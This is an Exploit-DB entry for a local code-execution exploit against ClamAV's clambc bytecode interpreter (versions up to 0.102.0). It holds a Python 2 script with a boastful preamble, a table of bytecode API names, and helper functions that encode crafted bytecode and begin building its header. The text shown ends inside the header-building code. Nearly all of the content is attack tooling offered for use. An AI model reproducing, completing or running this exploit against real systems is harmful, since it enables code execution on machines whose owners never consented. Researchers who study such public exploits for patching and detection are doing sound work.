Exploit-DB #47687
Description: ClamAV < 0.102.0 - 'bytecode_vm' Code Execution
Type: local
Platform: linux
Date: 2019-11-02
Author: anonymous

Exploit:
#!/usr/bin/python
 
'''
Finished  : 22/07/2019
Pu8lished : 31/10/2019
Versi0n   : Current    (<= 0.102.0)
Result    : Just for fun.
 
"Because of my inability to change the world."
 
In 2002, ClamAV got introducted as a solution for malwares on UNIX-based systems, built on
a signature-based detection approach, and still undergoes active-development. by that time,
LibClamAV only held 2 binaries, and expanded to 5 at present.
 
ClamBC were exceptionally more complex and served as a testing tool for bytecodes, majorly
validating and interpreting the code therein, and the information provided didn't indicate
nor explain the presence of its internal mechanisms.
 
The availability of the source-code and the lack of documentation led to the establishment
of this paper, it was certainly not an attempt to escalate privileges, but rather a sought
-after experience, and source of entertainment that grants the thrill of a challenge.
 
Due to the considerable amount of time spent in the analysis, the dissection of the engine
was imminent, whilst significantly broadening our perception on its internal structures.
The trial and error process produced valuable information, crashes illuminated latent bugs,
effectively increasing the attack surface, and magnifying the possibility for exploitation.
 
> ./exploit.py
> clambc --debug exploit
[SNIP]
$
'''
 
names = ['test1',
         'read',
         'write',
         'seek',
         'setvirusname',
         'debug_print_str',
         'debug_print_uint',
         'disasm_x86',
         'trace_directory',
         'trace_scope',
         'trace_source',
         'trace_op',
         'trace_value',
         'trace_ptr',
         'pe_rawaddr',
         'file_find',
         'file_byteat',
         'malloc',
         'test2',
         'get_pe_section',
         'fill_buffer',
         'extract_new',
         'read_number',
         'hashset_new',
         'hashset_add',
         'hashset_remove',
         'hashset_contains',
         'hashset_done',
         'hashset_empty',
         'buffer_pipe_new',
         'buffer_pipe_new_fromfile',
         'buffer_pipe_read_avail',
         'buffer_pipe_read_get',
         'buffer_pipe_read_stopped',
         'buffer_pipe_write_avail',
         'buffer_pipe_write_get',
         'buffer_pipe_write_stopped',
         'buffer_pipe_done',
         'inflate_init',
         'inflate_process',
         'inflate_done',
         'bytecode_rt_error',
         'jsnorm_init',
         'jsnorm_process',
         'jsnorm_done',
         'ilog2',
         'ipow',
         'iexp',
         'isin',
         'icos',
         'memstr',
         'hex2ui',
         'atoi',
         'debug_print_str_start',
         'debug_print_str_nonl',
         'entropy_buffer',
         'map_new',
         'map_addkey',
         'map_setvalue',
         'map_remove',
         'map_find',
         'map_getvaluesize',
         'map_getvalue',
         'map_done',
         'file_find_limit',
         'engine_functionality_level',
         'engine_dconf_level',
         'engine_scan_options',
         'engine_db_options',
         'extract_set_container',
         'input_switch',
         'get_environment',
         'disable_bytecode_if',
         'disable_jit_if',
         'version_compare',
         'check_platform',
         'pdf_get_obj_num',
         'pdf_get_flags',
         'pdf_set_flags',
         'pdf_lookupobj',
         'pdf_getobjsize',
         'pdf_getobj',
         'pdf_getobjid',
         'pdf_getobjflags',
         'pdf_setobjflags',
         'pdf_get_offset',
         'pdf_get_phase',
         'pdf_get_dumpedobjid',
         'matchicon',
         'running_on_jit',
         'get_file_reliability',
         'json_is_active',
         'json_get_object',
         'json_get_type',
         'json_get_array_length',
         'json_get_array_idx',
         'json_get_string_length',
         'json_get_string',
         'json_get_boolean',
         'json_get_int']
o     = names.index('buffer_pipe_new') + 1
k     = names.index('buffer_pipe_write_get') + 1
l     = names.index('debug_print_str') + 1
m     = names.index('malloc') + 1
 
c     = 0
for name in names:
    names[c] = name.encode('hex')
    c += 1
 
def cc(n):
    v = chr(n + 0x60)
   
    return v
 
def cs(s):
    t = ''
       
    for i in xrange(0, len(s), 2):
        u  = int(s[i], 16)
        l  = int(s[i + 1], 16)
        for i in  [u, l]:
            if((i >= 0 and i <= 0xf)):
                continue
            print 'Invalid string.'
            exit(0)
       
        t += cc(l) + cc(u)
   
    return t
   
def wn(n, fixed=0, size=0):
    if n is 0:
        return cc(0)
 
    t  = ''
    c  = hex(n)[2:]
    l  = len(c)
    if (l % 2) is 1:
        c = "0" + c
    r  = c[::-1]
   
    if(l <= 0x10):
        if not fixed:
            t = cc(l)
        i = 0
        while i < l:
            t += cc(int(r[i], 16))
            i += 1
    else:
        print 'Invalid number.'
        exit(0)
   
    if size != 0:
        t = t.ljust(size, '`')
       
    return t
 
def ws(s):
    t  = '|'
    e = s[-2:]
    if(e != '00'):
        print '[+] Adding null-byte at the end of the string..'
        s += '00'
   
    l  = (len(s) / 2)
   
    if (len(s) % 2) is 1:
        print 'Invalid string length.'
        exit(0)
   
    t += wn(l)
    t += cs(s)
   
    return t
   
def wt(t):
    if t < (num_types + 0x45):
        v = wn(t)
        return v
    else:
        print 'Invalid type.'
        exit(0)
 
def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096):
    global flimit, num_types
   
    if maxfunc is 0:
        maxfunc = flimit
   
    if(minfunc > flimit or  maxfunc < flimit):
        print 'Invalid minfunc and/or maxfunc.'
        exit(0)